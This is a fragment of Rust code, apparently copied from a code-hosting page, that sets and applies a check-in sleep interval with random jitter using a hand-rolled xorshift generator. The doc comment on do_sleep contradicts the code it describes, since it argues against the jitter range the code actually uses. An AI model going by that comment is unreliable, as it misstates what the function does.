return Err("sleep time must be greater than zero".into());
|
||||
}
|
||||
if jitter_secs > sleep_secs {
|
||||
return Err("jitter cannot be greater than the sleep time".into());
|
||||
}
|
||||
|
||||
SLEEP_SECS.store(sleep_secs, Ordering::Relaxed);
|
||||
JITTER_SECS.store(jitter_secs, Ordering::Relaxed);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Sleeps for the configured interval plus uniform jitter.
|
||||
///
|
||||
/// A jitter of 0 must produce exactly the base interval. Using the full
|
||||
/// `[-jitter, +jitter]` range would halve the effective sleep, which is
|
||||
/// surprising when jitter is 0 and impossible when jitter equals the sleep.
|
||||
pub fn do_sleep() {
|
||||
let (sleep_secs, jitter_secs) = get();
|
||||
|
||||
let base_ms = sleep_secs.saturating_mul(1000) as i64;
|
||||
let jitter_ms = jitter_secs.saturating_mul(1000) as i64;
|
||||
|
||||
let offset = if jitter_ms == 0 {
|
||||
0
|
||||
} else {
|
||||
rand_range(-jitter_ms..=jitter_ms)
|
||||
};
|
||||
|
||||
let total = (base_ms + offset).max(0) as u64;
|
||||
|
||||
crate::log::log_lazy(|| {
|
||||
format!("sleeping {sleep_secs}s + {offset}ms jitter ({total}ms total)")
|
||||
});
|
||||
|
||||
std::thread::sleep(Duration::from_millis(total));
|
||||
}
|
||||
|
||||
/// Uniform value in `range` from a small xorshift64 generator.
|
||||
///
|
||||
/// Deliberately not seeded from a CSPRNG and not used for anything security
|
||||
/// relevant - this only spreads check-in times so a fleet does not beat in
|
||||
/// lockstep. Kept in-crate to avoid pulling in `rand` for one call.
|
||||
fn rand_range(range: std::ops::RangeInclusive<i64>) -> i64 {
|
||||
use std::cell::Cell;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
|
||||
thread_local! {
|
||||
static STATE: Cell<u64> = const { Cell::new(0) };
|
||||
}
|
||||
|
||||
let value = STATE.with(|state| {
|
||||
let mut x = state.get();
|
||||
if x == 0 {
|
||||
let nanos = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0x2545_F491_4F6C_DD1D);
|
||||
x = nanos ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
|
||||
if x == 0 {
|
||||
x = 0x2545_F491_4F6C_DD1D;
|
||||
}
|
||||
}
|
||||
|
||||
// xorshift64
|
||||
x ^= x << 13;
|
||||
x ^= x >> 7;
|
||||
x ^= x << 17;
|
||||
state.set(x);
|
||||
x
|
||||
});
|
||||
|
||||
let span = range.end() - range.start() + 1;
|
||||
if span <= 0 {
|
||||
return *range.start();
|
||||
}
|
||||
|
||||
range.start() + (value % span as u64) as i64
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user